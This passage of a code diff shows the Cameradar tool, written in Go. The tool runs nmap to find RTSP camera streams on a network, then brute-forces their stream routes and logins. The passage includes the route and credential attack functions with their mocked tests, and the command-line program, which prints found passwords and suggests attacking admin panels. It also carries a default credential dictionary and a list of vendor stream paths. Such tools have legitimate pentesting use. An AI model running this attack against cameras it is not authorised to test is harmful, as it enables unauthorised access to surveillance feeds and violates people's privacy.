}
// ValidateStreams tries to setup the stream to validate whether or not it is available
func ValidateStreams(c Curler, targets []Stream, timeout time.Duration, log bool) ([]Stream, error) {
for idx, target := range targets {
targets[idx].Available = validateStream(c, target, timeout, log)
}
return targets, nil
}
func attackCameraCredentials(c Curler, target Stream, credentials Credentials, resultsChan chan<- Stream, timeout time.Duration, log bool) {
for _, username := range credentials.Usernames {
for _, password := range credentials.Passwords {
ok := credAttack(c.Duphandle(), target, username, password, timeout, log)
if ok {
target.CredentialsFound = true
target.Username = username
target.Password = password
resultsChan <- target
return
}
}
}
target.CredentialsFound = false
resultsChan <- target
}
func attackCameraRoute(c Curler, target Stream, routes Routes, resultsChan chan<- Stream, timeout time.Duration, log bool) {
for _, route := range routes {
ok := routeAttack(c.Duphandle(), target, route, timeout, log)
if ok {
target.RouteFound = true
target.Route = route
resultsChan <- target
return
}
}
target.RouteFound = false
resultsChan <- target
}
// AttackCredentials attempts to guess the provided targets' credentials using the given
// dictionary or the default dictionary if none was provided by the user.
func AttackCredentials(c Curler, targets []Stream, credentials Credentials, timeout time.Duration, log bool) ([]Stream, error) {
attacks := make(chan Stream)
defer close(attacks)
validate := v.New()
for _, target := range targets {
err := validate.Struct(target)
if err != nil {
return targets, errors.Wrap(err, "invalid targets")
}
go attackCameraCredentials(c, target, credentials, attacks, timeout, log)
}
attackResults := []Stream{}
for range targets {
attackResults = append(attackResults, <-attacks)
}
for _, result := range attackResults {
if result.CredentialsFound {
targets = replace(targets, result)
}
}
return targets, nil
}
// AttackRoute attempts to guess the provided targets' streaming routes using the given
// dictionary or the default dictionary if none was provided by the user.
func AttackRoute(c Curler, targets []Stream, routes Routes, timeout time.Duration, log bool) ([]Stream, error) {
attacks := make(chan Stream)
defer close(attacks)
validate := v.New()
for _, target := range targets {
err := validate.Struct(target)
if err != nil {
return targets, errors.Wrap(err, "invalid targets")
}
go attackCameraRoute(c, target, routes, attacks, timeout, log)
}
attackResults := []Stream{}
for range targets {
attackResults = append(attackResults, <-attacks)
}
for _, result := range attackResults {
if result.RouteFound {
targets = replace(targets, result)
}
}
return targets, nil
}
+510
View File
@@ -0,0 +1,510 @@
package cmrdr
import (
"errors"
"fmt"
"os"
"testing"
"time"
curl "github.com/andelf/go-curl"
"github.com/stretchr/testify/assert"
"github.com/stretchr/testify/mock"
)
type CurlerMock struct {
mock.Mock
}
func (m *CurlerMock) Setopt(opt int, param interface{}) error {
args := m.Called(opt, param)
return args.Error(0)
}
func (m *CurlerMock) Perform() error {
args := m.Called()
return args.Error(0)
}
func (m *CurlerMock) Getinfo(info curl.CurlInfo) (interface{}, error) {
args := m.Called(info)
return args.Int(0), args.Error(1)
}
func (m *CurlerMock) Duphandle() Curler {
return m
}
func TestAttackCredentials(t *testing.T) {
validStream1 := Stream{
Device: "fakeDevice",
Address: "fakeAddress",
Port: 1337,
}
validStream2 := Stream{
Device: "fakeDevice",
Address: "differentFakeAddress",
Port: 1337,
}
invalidStream := Stream{
Device: "InvalidDevice",
}
fakeTargets := []Stream{validStream1, validStream2}
invalidTargets := []Stream{invalidStream}
fakeCredentials := Credentials{
Usernames: []string{"admin", "root"},
Passwords: []string{"12345", "root"},
}
testCases := []struct {
targets []Stream
credentials Credentials
timeout time.Duration
log bool
status int
performErr error
getInfoErr error
invalidTargets bool
expectedStreams []Stream
expectedErrMsg string
}{
// Credentials found
{
targets: fakeTargets,
credentials: fakeCredentials,
timeout: 1 * time.Millisecond,
status: 404,
expectedStreams: fakeTargets,
},
// Camera accessed
{
targets: fakeTargets,
credentials: fakeCredentials,
timeout: 1 * time.Millisecond,
status: 200,
expectedStreams: fakeTargets,
},
// Invalid targets
{
targets: invalidTargets,
credentials: fakeCredentials,
timeout: 1 * time.Millisecond,
invalidTargets: true,
expectedErrMsg: "invalid targets",
expectedStreams: invalidTargets,
},
// curl perform fails
{
targets: fakeTargets,
credentials: fakeCredentials,
timeout: 1 * time.Millisecond,
performErr: errors.New("dummy error"),
expectedStreams: fakeTargets,
},
// curl getinfo fails
{
targets: fakeTargets,
credentials: fakeCredentials,
timeout: 1 * time.Millisecond,
getInfoErr: errors.New("dummy error"),
expectedStreams: fakeTargets,
},
// Logging disabled
{
targets: fakeTargets,
credentials: fakeCredentials,
timeout: 1 * time.Millisecond,
log: false,
status: 403,
expectedStreams: fakeTargets,
},
// Logging enabled
{
targets: fakeTargets,
credentials: fakeCredentials,
timeout: 1 * time.Millisecond,
log: true,
status: 403,
expectedStreams: fakeTargets,
},
}
for i, test := range testCases {
curlerMock := &CurlerMock{}
if !test.invalidTargets {
curlerMock.On("Setopt", mock.Anything, mock.Anything).Return(nil)
curlerMock.On("Perform").Return(test.performErr)
if test.performErr == nil {
curlerMock.On("Getinfo", mock.Anything).Return(test.status, test.getInfoErr)
}
}
results, err := AttackCredentials(curlerMock, test.targets, test.credentials, test.timeout, test.log)
if len(test.expectedErrMsg) > 0 {
if err == nil {
fmt.Printf("unexpected success in AttackCredentials test, iteration %d. expected error: %s\n", i, test.expectedErrMsg)
os.Exit(1)
}
assert.Contains(t, err.Error(), test.expectedErrMsg, "wrong error message")
} else {
if err != nil {
fmt.Printf("unexpected error in AttackCredentials test, iteration %d: %v\n", i, err)
os.Exit(1)
}
for _, stream := range test.expectedStreams {
foundStream := false
for _, result := range results {
if result.Address == stream.Address && result.Device == stream.Device && result.Port == stream.Port {
foundStream = true
}
}
assert.Equal(t, true, foundStream, "wrong streams parsed")
}
}
assert.Equal(t, len(test.expectedStreams), len(results), "wrong streams parsed")
curlerMock.AssertExpectations(t)
}
}
func TestAttackRoute(t *testing.T) {
validStream1 := Stream{
Device: "fakeDevice",
Address: "fakeAddress",
Port: 1337,
}
validStream2 := Stream{
Device: "fakeDevice",
Address: "differentFakeAddress",
Port: 1337,
}
invalidStream := Stream{
Device: "InvalidDevice",
}
fakeTargets := []Stream{validStream1, validStream2}
fakeRoutes := Routes{"live.sdp", "media.amp"}
invalidTargets := []Stream{invalidStream}
testCases := []struct {
targets []Stream
routes Routes
timeout time.Duration
log bool
status int
performErr error
getInfoErr error
invalidTargets bool
expectedStreams []Stream
expectedErrMsg string
}{
// Route found
{
targets: fakeTargets,
routes: fakeRoutes,
timeout: 1 * time.Millisecond,
status: 403,
expectedStreams: fakeTargets,
},
// Route found
{
targets: fakeTargets,
routes: fakeRoutes,
timeout: 1 * time.Millisecond,
status: 401,
expectedStreams: fakeTargets,
},
// Camera accessed
{
targets: fakeTargets,
routes: fakeRoutes,
timeout: 1 * time.Millisecond,
status: 200,
expectedStreams: fakeTargets,
},
// Invalid targets
{
targets: invalidTargets,
routes: fakeRoutes,
timeout: 1 * time.Millisecond,
invalidTargets: true,
expectedErrMsg: "invalid targets",
expectedStreams: invalidTargets,
},
// curl perform fails
{
targets: fakeTargets,
routes: fakeRoutes,
timeout: 1 * time.Millisecond,
performErr: errors.New("dummy error"),
expectedStreams: fakeTargets,
},
// curl getinfo fails
{
targets: fakeTargets,
routes: fakeRoutes,
timeout: 1 * time.Millisecond,
getInfoErr: errors.New("dummy error"),
expectedStreams: fakeTargets,
},
// Logs disabled
{
targets: fakeTargets,
routes: fakeRoutes,
timeout: 1 * time.Millisecond,
log: false,
expectedStreams: fakeTargets,
},
// Logs enabled
{
targets: fakeTargets,
routes: fakeRoutes,
timeout: 1 * time.Millisecond,
log: true,
expectedStreams: fakeTargets,
},
}
for i, test := range testCases {
curlerMock := &CurlerMock{}
if !test.invalidTargets {
curlerMock.On("Setopt", mock.Anything, mock.Anything).Return(nil)
curlerMock.On("Perform").Return(test.performErr)
if test.performErr == nil {
curlerMock.On("Getinfo", mock.Anything).Return(test.status, test.getInfoErr)
}
}
results, err := AttackRoute(curlerMock, test.targets, test.routes, test.timeout, test.log)
if len(test.expectedErrMsg) > 0 {
if err == nil {
fmt.Printf("unexpected success in AttackRoute test, iteration %d. expected error: %s\n", i, test.expectedErrMsg)
os.Exit(1)
}
assert.Contains(t, err.Error(), test.expectedErrMsg, "wrong error message")
} else {
if err != nil {
fmt.Printf("unexpected error in AttackRoute test, iteration %d: %v\n", i, err)
os.Exit(1)
}
for _, stream := range test.expectedStreams {
foundStream := false
for _, result := range results {
if result.Address == stream.Address && result.Device == stream.Device && result.Port == stream.Port {
foundStream = true
}
}
assert.Equal(t, true, foundStream, "wrong streams parsed")
}
}
assert.Equal(t, len(test.expectedStreams), len(results), "wrong streams parsed")
curlerMock.AssertExpectations(t)
}
}
func TestValidateStreams(t *testing.T) {
validStream1 := Stream{
Device: "fakeDevice",
Address: "fakeAddress",
Port: 1337,
Available: true,
}
validStream2 := Stream{
Device: "fakeDevice",
Address: "differentFakeAddress",
Port: 1337,
Available: true,
}
unavailableStream := Stream{
Device: "fakeDevice",
Available: false,
}
fakeTargets := []Stream{validStream1, validStream2}
unavailableTargets := []Stream{unavailableStream}
testCases := []struct {
desc string
targets []Stream
timeout time.Duration
log bool
status int
performErr error
getInfoErr error
expectedStreams []Stream
expectedErrMsg string
}{
// Route found
{
desc: "route found",
targets: fakeTargets,
timeout: 1 * time.Millisecond,
status: 403,
expectedStreams: fakeTargets,
},
// Route found
{
desc: "route found",
targets: fakeTargets,
timeout: 1 * time.Millisecond,
status: 401,
expectedStreams: fakeTargets,
},
// Camera accessed
{
desc: "camera accessed",
targets: fakeTargets,
timeout: 1 * time.Millisecond,
status: 200,
expectedStreams: fakeTargets,
},
// Unavailable stream
{
desc: "unavailable stream",
targets: unavailableTargets,
timeout: 1 * time.Millisecond,
status: 400,
expectedStreams: unavailableTargets,
},
// curl perform fails
{
desc: "curl perform fails",
targets: fakeTargets,
timeout: 1 * time.Millisecond,
performErr: errors.New("dummy error"),
expectedStreams: fakeTargets,
},
// curl getinfo fails
{
desc: "curl getinfo fails",
targets: fakeTargets,
timeout: 1 * time.Millisecond,
getInfoErr: errors.New("dummy error"),
expectedStreams: fakeTargets,
},
// Logs disabled
{
desc: "logs disabled",
targets: fakeTargets,
timeout: 1 * time.Millisecond,
log: false,
expectedStreams: fakeTargets,
},
// Logs enabled
{
desc: "logs enabled",
targets: fakeTargets,
timeout: 1 * time.Millisecond,
log: true,
expectedStreams: fakeTargets,
},
}
for i, tC := range testCases {
t.Run(tC.desc, func(t *testing.T) {
curlerMock := &CurlerMock{}
curlerMock.On("Setopt", mock.Anything, mock.Anything).Return(nil)
curlerMock.On("Perform").Return(tC.performErr)
if tC.performErr == nil {
curlerMock.On("Getinfo", mock.Anything).Return(tC.status, tC.getInfoErr)
}
results, err := ValidateStreams(curlerMock, tC.targets, tC.timeout, tC.log)
if len(tC.expectedErrMsg) > 0 {
if err == nil {
fmt.Printf("unexpected success in ValidateStream test, iteration %d. expected error: %s\n", i, tC.expectedErrMsg)
os.Exit(1)
}
assert.Contains(t, err.Error(), tC.expectedErrMsg, "wrong error message")
} else {
if err != nil {
fmt.Printf("unexpected error in ValidateStream test, iteration %d: %v\n", i, err)
os.Exit(1)
}
for _, stream := range tC.expectedStreams {
foundStream := false
for _, result := range results {
if result.Address == stream.Address && result.Device == stream.Device && result.Port == stream.Port {
foundStream = true
}
}
assert.Equal(t, true, foundStream, "wrong streams parsed")
}
}
assert.Equal(t, len(tC.expectedStreams), len(results), "wrong streams parsed")
curlerMock.AssertExpectations(t)
})
}
}
func TestDotWrite(t *testing.T) {
assert.Equal(t, true, doNotWrite(nil, nil))
}
+251
View File
@@ -0,0 +1,251 @@
package main
import (
"errors"
"fmt"
"os"
"strings"
"time"
"github.com/Ullaakut/cameradar"
curl "github.com/andelf/go-curl"
"github.com/fatih/color"
"github.com/gernest/wow"
"github.com/gernest/wow/spin"
"github.com/spf13/pflag"
"github.com/spf13/viper"
)
type options struct {
Target string
Ports string
OutputFile string
Routes string
Credentials string
Speed int
Timeout int
EnableLogs bool
}
func parseArguments() error {
viper.BindEnv("target", "CAMERADAR_TARGET")
viper.BindEnv("ports", "CAMERADAR_PORTS")
viper.BindEnv("nmap-output", "CAMERADAR_NMAP_OUTPUT_FILE")
viper.BindEnv("custom-routes", "CAMERADAR_CUSTOM_ROUTES")
viper.BindEnv("custom-credentials", "CAMERADAR_CUSTOM_CREDENTIALS")
viper.BindEnv("speed", "CAMERADAR_SPEED")
viper.BindEnv("timeout", "CAMERADAR_TIMEOUT")
viper.BindEnv("envlogs", "CAMERADAR_LOGS")
pflag.StringP("target", "t", "", "The target on which to scan for open RTSP streams - required (ex: 172.16.100.0/24)")
pflag.StringP("ports", "p", "554,8554", "The ports on which to search for RTSP streams")
pflag.StringP("nmap-output", "o", "/tmp/cameradar_scan.xml", "The path where nmap will create its XML result file")
pflag.StringP("custom-routes", "r", "<GOPATH>/src/github.com/Ullaakut/cameradar/dictionaries/routes", "The path on which to load a custom routes dictionary")
pflag.StringP("custom-credentials", "c", "<GOPATH>/src/github.com/Ullaakut/cameradar/dictionaries/credentials.json", "The path on which to load a custom credentials JSON dictionary")
pflag.IntP("speed", "s", 4, "The nmap speed preset to use")
pflag.IntP("timeout", "T", 2000, "The timeout in miliseconds to use for attack attempts")
pflag.BoolP("log", "l", false, "Enable the logs for nmap's output to stdout")
pflag.BoolP("help", "h", false, "displays this help message")
viper.AutomaticEnv()
pflag.Parse()
err := viper.BindPFlags(pflag.CommandLine)
if err != nil {
return err
}
if viper.GetBool("help") {
pflag.Usage()
fmt.Println("\nExamples of usage:")
fmt.Println("\tScanning your home network for RTSP streams:\tcameradar -t 192.168.0.0/24")
fmt.Println("\tScanning a remote camera on a specific port:\tcameradar -t 172.178.10.14 -p 18554 -s 2")
fmt.Println("\tScanning an unstable remote network: \t\tcameradar -t 172.178.10.14/24 -s 1 --timeout 10000 -l")
os.Exit(0)
}
if viper.GetString("target") == "" {
return errors.New("target (-t, --target) argument required\n examples:\n - 172.16.100.0/24\n - localhost\n - 8.8.8.8")
}
return nil
}
func main() {
var options options
err := parseArguments()
if err != nil {
printErr(err)
}
options.Credentials = viper.GetString("custom-credentials")
options.EnableLogs = viper.GetBool("log") || viper.GetBool("envlogs")
options.OutputFile = viper.GetString("nmap-output")
options.Ports = viper.GetString("ports")
options.Routes = viper.GetString("custom-routes")
options.Speed = viper.GetInt("speed")
options.Timeout = viper.GetInt("timeout")
options.Target = viper.GetString("target")
w := startSpinner(options.EnableLogs)
options.Target, err = cmrdr.ParseTargetsFile(options.Target)
if err != nil {
printErr(err)
}
err = curl.GlobalInit(curl.GLOBAL_ALL)
handle := curl.EasyInit()
if err != nil || handle == nil {
printErr(errors.New("libcurl initialization failed"))
}
c := &cmrdr.Curl{CURL: handle}
defer curl.GlobalCleanup()
updateSpinner(w, "Loading dictionaries...", options.EnableLogs)
gopath := os.Getenv("GOPATH")
options.Credentials = strings.Replace(options.Credentials, "<GOPATH>", gopath, 1)
options.Routes = strings.Replace(options.Routes, "<GOPATH>", gopath, 1)
credentials, err := cmrdr.LoadCredentials(options.Credentials)
if err != nil {
color.Red("Invalid credentials dictionary: %s", err.Error())
return
}
routes, err := cmrdr.LoadRoutes(options.Routes)
if err != nil {
color.Red("Invalid routes dictionary: %s", err.Error())
return
}
updateSpinner(w, "Scanning the network...", options.EnableLogs)
streams, err := cmrdr.Discover(options.Target, options.Ports, options.OutputFile, options.Speed, options.EnableLogs)
if err != nil && len(streams) > 0 {
printErr(err)
}
// Most cameras will be accessed successfully with these two attacks
updateSpinner(w, "Found "+fmt.Sprint(len(streams))+" streams. Attacking their routes...", options.EnableLogs)
streams, err = cmrdr.AttackRoute(c, streams, routes, time.Duration(options.Timeout)*time.Millisecond, options.EnableLogs)
if err != nil && len(streams) > 0 {
printErr(err)
}
updateSpinner(w, "Found "+fmt.Sprint(len(streams))+" streams. Attacking their credentials...", options.EnableLogs)
streams, err = cmrdr.AttackCredentials(c, streams, credentials, time.Duration(options.Timeout)*time.Millisecond, options.EnableLogs)
if err != nil && len(streams) > 0 {
printErr(err)
}
// But some cameras run GST RTSP Server which prioritizes 401 over 404 contrary to most cameras.
// For these cameras, running another route attack will solve the problem.
for _, stream := range streams {
if !stream.RouteFound || !stream.CredentialsFound {
updateSpinner(w, "Found "+fmt.Sprint(len(streams))+" streams. Final attack...", options.EnableLogs)
streams, err = cmrdr.AttackRoute(c, streams, routes, time.Duration(options.Timeout)*time.Millisecond, options.EnableLogs)
if err != nil && len(streams) > 0 {
printErr(err)
}
break
}
}
updateSpinner(w, "Found "+fmt.Sprint(len(streams))+" streams. Validating their availability...", options.EnableLogs)
streams, err = cmrdr.ValidateStreams(c, streams, time.Duration(options.Timeout)*time.Millisecond, options.EnableLogs)
if err != nil && len(streams) > 0 {
printErr(err)
}
clearOutput(w, options.EnableLogs)
prettyPrint(streams)
}
func prettyPrint(streams []cmrdr.Stream) {
yellow := color.New(color.FgYellow, color.Bold, color.Underline).SprintFunc()
blue := color.New(color.FgBlue, color.Underline).SprintFunc()
green := color.New(color.FgGreen, color.Bold).SprintFunc()
red := color.New(color.FgRed, color.Bold).SprintFunc()
white := color.New(color.Italic).SprintFunc()
success := 0
if len(streams) > 0 {
for _, stream := range streams {
if stream.CredentialsFound && stream.RouteFound && stream.Available {
fmt.Printf("%s\tDevice RTSP URL:\t%s\n", green("\xE2\x96\xB6"), blue(cmrdr.GetCameraRTSPURL(stream)))
success++
} else {
fmt.Printf("%s\tAdmin panel URL:\t%s %s\n", red("\xE2\x96\xB6"), yellow(cmrdr.GetCameraAdminPanelURL(stream)), white("You can use this URL to try attacking the camera's admin panel instead."))
}
fmt.Printf("\tDevice model:\t\t%s\n\n", stream.Device)
if stream.Available {
fmt.Printf("\tAvailable:\t\t%s\n", green("yes"))
} else {
fmt.Printf("\tAvailable:\t\t%s\n", red("no"))
}
fmt.Printf("\tIP address:\t\t%s\n", stream.Address)
fmt.Printf("\tRTSP port:\t\t%d\n", stream.Port)
if stream.CredentialsFound {
fmt.Printf("\tUsername:\t\t%s\n", green(stream.Username))
fmt.Printf("\tPassword:\t\t%s\n", green(stream.Password))
} else {
fmt.Printf("\tUsername:\t\t%s\n", red("not found"))
fmt.Printf("\tPassword:\t\t%s\n", red("not found"))
}
if stream.RouteFound {
fmt.Printf("\tRTSP route:\t\t%s\n\n\n", green("/"+stream.Route))
} else {
fmt.Printf("\tRTSP route:\t\t%s\n\n\n", red("not found"))
}
}
if success > 1 {
fmt.Printf("%s Successful attack: %s devices were accessed", green("\xE2\x9C\x94"), green(len(streams)))
} else if success == 1 {
fmt.Printf("%s Successful attack: %s device was accessed", green("\xE2\x9C\x94"), green(len(streams)))
} else {
fmt.Printf("%s Streams were found but none were accessed. They are most likely configured with secure credentials and routes. You can try adding entries to the dictionary or generating your own in order to attempt a bruteforce attack on the cameras.\n", red("\xE2\x9C\x96"))
}
} else {
fmt.Printf("%s No streams were found. Please make sure that your target is on an accessible network.\n", red("\xE2\x9C\x96"))
}
}
func printErr(err error) {
red := color.New(color.FgRed, color.Bold).SprintFunc()
fmt.Printf("%s %v\n", red("\xE2\x9C\x96"), err)
os.Exit(1)
}
func updateSpinner(w *wow.Wow, text string, disabled bool) {
if !disabled {
w.Text(" " + text)
}
}
func startSpinner(disabled bool) *wow.Wow {
if !disabled {
w := wow.New(os.Stdout, spin.Get(spin.Dots), " Loading dictionaries...")
w.Start()
return w
}
return nil
}
// HACK: Waiting for a fix to issue
// https://github.com/gernest/wow/issues/5
func clearOutput(w *wow.Wow, disabled bool) {
if !disabled {
w.Text("\b")
time.Sleep(80 * time.Millisecond)
w.Stop()
}
}
+14
View File
@@ -0,0 +1,14 @@
// Package cmrdr provides methods to be able to discover and
// attack RTSP streams easily. RTSP streams are used by most
// IP Cameras, often for surveillance.
//
// A simple example usage of the library can be found in
// https://github.com/Ullaakut/cameradar/tree/master/cameradar
//
// The example usage is complete enough for most users to
// ignore the library, but for users with specific needs
// such as creating their own bruteforcing dictionary to
// access cameras, or running their own network scan, this
// library allows to use simple and performant methods to
// attack streams.
package cmrdr
+25
View File
@@ -0,0 +1,25 @@
package cmrdr
import (
curl "github.com/andelf/go-curl"
)
// Curler is an interface that implements the CURL interface of the go-curl library
// Used for mocking
type Curler interface {
Setopt(opt int, param interface{}) error
Perform() error
Getinfo(info curl.CurlInfo) (interface{}, error)
Duphandle() Curler
}
// Curl is a libcurl wrapper used to make the Curler interface work even though
// golang currently does not support covariance (see https://github.com/golang/go/issues/7512)
type Curl struct {
*curl.CURL
}
// Duphandle wraps curl.Duphandle
func (c *Curl) Duphandle() Curler {
return &Curl{c.CURL.Duphandle()}
}
+41
View File
@@ -0,0 +1,41 @@
{
"usernames": [
"",
"admin",
"Admin",
"Administrator",
"root",
"supervisor",
"ubnt",
"service",
"Dinion",
"administrator",
"666666",
"888888",
"admin1"
],
"passwords" : [
"",
"admin",
"9999",
"123456",
"pass",
"camera",
"1234",
"12345",
"fliradmin",
"system",
"jvc",
"meinsm",
"root",
"4321",
"111111",
"1111111",
"password",
"ikwd",
"supervisor",
"ubnt",
"wbox123",
"service"
]
}
+113
View File
@@ -0,0 +1,113 @@
1.AMP
1/stream1
CAM_ID.password.mp2
GetData.cgi
MediaInput/h264
MediaInput/mpeg4
VideoInput/1/h264/1
access_code
access_name_for_stream_1_to_5
av0_0
av2
avn=2
axis-media/media.amp
cam
cam0_0
cam0_1
cam1/h264
cam1/h264/multicast
cam1/mjpeg
cam1/mpeg4
camera.stm
ch0
ch001.sdp
ch01.264
ch0_unicast_firststream
ch0_unicast_secondstream
channel1
h264
h264/media.amp
image.mpg
img/media.sav
img/video.asf
img/video.sav
ioImage/1
ipcam.sdp
ipcam_h264.sdp
live.sdp
live/h264
live/mpeg4
live_mpeg4.sdp
livestream
livestream/
media/media.amp
media/video1
mjpeg/media.smp
mp4
mpeg4
mpeg4/1/media.amp
mpeg4/media.amp
mpeg4/media.smp
mpeg4unicast
mpg4/rtsp.amp
multicaststream
now.mp4
nph-h264.cgi
nphMpeg4/g726-640x
nphMpeg4/g726-640x480
nphMpeg4/nil-320x240
play1.sdp
play2.sdp
rtpvideo1.sdp
rtsp_live0
rtsp_live1
rtsp_live2
rtsp_tunnel
rtsph264
stream1
user.pin.mp2
user_defined
video
video.3gp
video.mp4
video1
video1+audio1
vis
wfov
video.h264
11
12
ch1-s1
live3.sdp
onvif-media/media.amp
axis-media/media.amp
axis-media/media.amp?videocodec=h264
mpeg4/media.amp
stream
cam/realmonitor
live
video.pro2
videoMain
VideoInput/1/mpeg4/1
VideoInput/1/h264/1
video.pro3
video.pro1
video.mjpg
h264_vga.sdp
media.amp
media
ONVIF/MediaInput
nphMpeg4/g726-640x48
MediaInput/mpeg4
MediaInput/h264
Streaming/Channels/1
ch0_0.h264
rtsph2641080p
live/av0
cam1/onvif-h264
ucast/11
LowResolutionVideo
1
live/ch00_0
medias2
+164
View File
@@ -0,0 +1,164 @@
package cmrdr
import (
"bufio"
"encoding/xml"
"fmt"
"io/ioutil"
"os/exec"
"strings"
"github.com/pkg/errors"
v "gopkg.in/go-playground/validator.v9"
)
// These constants detail the different level of nmap speed presets
// that determine the timeout values and wether or not nmap makes use of parallelism
const (
// PARANOIAC NO PARALLELISM | 5min timeout | 100ms to 10s round-trip time timeout | 5mn scan delay
PARANOIAC = 0
// SNEAKY NO PARALLELISM | 15sec timeout | 100ms to 10s round-trip time timeout | 15s scan delay
SNEAKY = 1
// POLITE NO PARALLELISM | 1sec timeout | 100ms to 10s round-trip time timeout | 400ms scan delay
POLITE = 2
// NORMAL PARALLELISM | 1sec timeout | 100ms to 10s round-trip time timeout | 0s scan delay
NORMAL = 3
// AGGRESSIVE PARALLELISM | 500ms timeout | 100ms to 1250ms round-trip time timeout | 0s scan delay
AGGRESSIVE = 4
// INSANE PARALLELISM | 250ms timeout | 50ms to 300ms round-trip time timeout | 0s scan delay
INSANE = 5
)
// Allows unit tests to override the exec function to avoid launching a real command
// during the tests. The NmapRun method will soon be refactored with an adaptor in order
// to make it possible to mock all external calls.
var execCommand = exec.Command
// NmapRun runs nmap on the specified targets's specified ports, using the given nmap speed.
func NmapRun(targets, ports, resultFilePath string, nmapSpeed int, enableLogs bool) error {
if nmapSpeed < PARANOIAC || nmapSpeed > INSANE {
return fmt.Errorf("invalid nmap speed value '%d'. Should be between '%d' and '%d'", nmapSpeed, PARANOIAC, INSANE)
}
cmdArgs := fmt.Sprintf(
"-T%d -A -p %s -oX %s %s",
nmapSpeed,
ports,
resultFilePath,
targets)
if enableLogs {
fmt.Printf("command: nmap %s\n", cmdArgs)
}
args := strings.Split(cmdArgs, " ")
// Prepare nmap command
cmd := execCommand("nmap", args...)
// Pipe stdout to be able to write the logs in realtime
stdout, err := cmd.StdoutPipe()
if err != nil {
return errors.Wrap(err, "couldn't get stdout pipe")
}
// Execute the nmap command
if err := cmd.Start(); err != nil {
return errors.Wrap(err, "coudln't run nmap command")
}
// Scan the pipe until an end of file or an error occurs
in := bufio.NewScanner(stdout)
for in.Scan() {
if enableLogs {
fmt.Println(in.Text())
}
}
if err := in.Err(); err != nil {
if enableLogs {
fmt.Printf("error: %s\n", err)
}
}
return nil
}
// NmapParseResults returns a slice of streams from an NMap XML result file.
// To generate one yourself, use the -X option when running NMap.
func NmapParseResults(nmapResultFilePath string) ([]Stream, error) {
var streams []Stream
// Open & Read XML file
content, err := ioutil.ReadFile(nmapResultFilePath)
if err != nil {
return streams, errors.Wrap(err, "could not read nmap result file at "+nmapResultFilePath+":")
}
// Unmarshal content of XML file into data structure
result := &nmapResult{}
err = xml.Unmarshal(content, &result)
if err != nil {
return streams, err
}
// Iterate on hosts to try to find hosts with ports that
// - serve RTSP
// - are open
validate := v.New()
for _, host := range result.Hosts {
if host.Ports.Ports == nil {
continue
}
for _, port := range host.Ports.Ports {
err = validate.Struct(port)
if err != nil {
continue
}
for _, addr := range host.Addresses {
err = validate.Struct(addr)
if err != nil {
continue
}
streams = append(streams, Stream{
Device: port.Service.Product,
Address: addr.Addr,
Port: port.PortID,
})
}
}
}
return streams, nil
}
// Discover scans the target networks and tries to find RTSP streams within them.
//
// targets can be:
//
// - a subnet (e.g.: 172.16.100.0/24)
// - an IP (e.g.: 172.16.100.10)
// - a hostname (e.g.: localhost)
// - a range of IPs (e.g.: 172.16.100.10-20)
//
// ports can be:
//
// - one or multiple ports and port ranges separated by commas (e.g.: 554,8554-8560,18554-28554)
func Discover(targets, ports, nmapResultPath string, speed int, log bool) ([]Stream, error) {
var streams []Stream
// Run nmap command to discover open ports on the specified targets & ports
err := NmapRun(targets, ports, nmapResultPath, speed, log)
if err != nil {
return streams, err
}
// Get found streams from nmap results
streams, err = NmapParseResults(nmapResultPath)
if err != nil {
return streams, err
}
return streams, nil
}
+812
View File
@@ -0,0 +1,812 @@
package cmrdr
import (
"encoding/xml"
"fmt"
"io/ioutil"
"os"
"os/exec"
"strconv"
"testing"
"github.com/stretchr/testify/assert"
)
// HACK: See https://golang.org/src/os/exec/exec_test.go
func fakeExecCommand(command string, args ...string) *exec.Cmd {
cs := []string{"-test.run=TestExecCommandHelper", "--", command}
cs = append(cs, args...)
cmd := exec.Command(os.Args[0], cs...)
cmd.Env = []string{"GO_WANT_HELPER_PROCESS=1",
"STDOUT= ",
"EXIT_STATUS=0"}
return cmd
}
func TestExecCommandHelper(t *testing.T) {
if os.Getenv("GO_WANT_HELPER_PROCESS") != "1" {
return
}
fmt.Fprintf(os.Stdout, os.Getenv("STDOUT"))
i, _ := strconv.Atoi(os.Getenv("EXIT_STATUS"))
os.Exit(i)
}
func TestNmapRun(t *testing.T) {
execCommand = fakeExecCommand
defer func() { execCommand = exec.Command }()
testCases := []struct {
targets string
ports string
resultFilePath string
nmapSpeed int
enableLogs bool
expectedErrMsg string
}{
// Valid baseline with logs enabled
{
targets: "localhost",
ports: "554",
resultFilePath: "/tmp/results.xml",
nmapSpeed: PARANOIAC,
enableLogs: true,
},
// Invalid speed
{
targets: "localhost",
ports: "554",
resultFilePath: "/tmp/results.xml",
nmapSpeed: INSANE + 1,
enableLogs: false,
expectedErrMsg: "invalid nmap speed value",
},
}
for _, test := range testCases {
err := NmapRun(test.targets, test.ports, test.resultFilePath, test.nmapSpeed, test.enableLogs)
if len(test.expectedErrMsg) > 0 {
if err == nil {
fmt.Printf("unexpected success. expected error: %s\n", test.expectedErrMsg)
os.Exit(1)
}
assert.Contains(t, err.Error(), test.expectedErrMsg, "wrong error message")
} else {
if err != nil {
fmt.Printf("unexpected error: %v\n", err)
os.Exit(1)
}
}
}
}
func TestNmapParseResults(t *testing.T) {
validStream1 := Stream{
Device: "fakeDevice",
Address: "fakeAddress",
Port: 1337,
}
validStream2 := Stream{
Device: "fakeDevice",
Address: "differentFakeAddress",
Port: 1337,
}
invalidStreamNoPort := Stream{
Device: "invalidDevice",
Address: "fakeAddress",
Port: 0,
}
invalidStreamNoAddress := Stream{
Device: "invalidDevice",
Address: "",
Port: 1337,
}
invalidStreamMACAddress := Stream{
Device: "invalidDevice",
Address: "00:12:16:FB:02:17",
Port: 1337,
}
testCases := []struct {
fileExists bool
streamsXML *nmapResult
expectedStreams []Stream
expectedErrMsg string
}{
// File exists
// Two valid streams, no error
{
expectedStreams: []Stream{validStream1, validStream2},
streamsXML: &nmapResult{
Hosts: []host{
{
Addresses: []address{
address{
Addr: validStream1.Address,
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: validStream1.Port,
State: state{
State: "open",
},
Service: service{
Name: "rtsp",
Product: validStream1.Device,
},
},
},
},
},
{
Addresses: []address{
address{
Addr: validStream2.Address,
AddrType: "ipv4",
},
},
Ports: ports{
Ports: []port{
{
PortID: validStream2.Port,
State: state{
State: "open",
},
Service: service{
Name: "rtsp",
Product: validStream2.Device,
},
},
},
},
},
},
},
fileExists: true,
},
// File exists
// Invalid stream, only a mac address
{
fileExists: true,
expectedStreams: []Stream{},
streamsXML: &nmapResult{
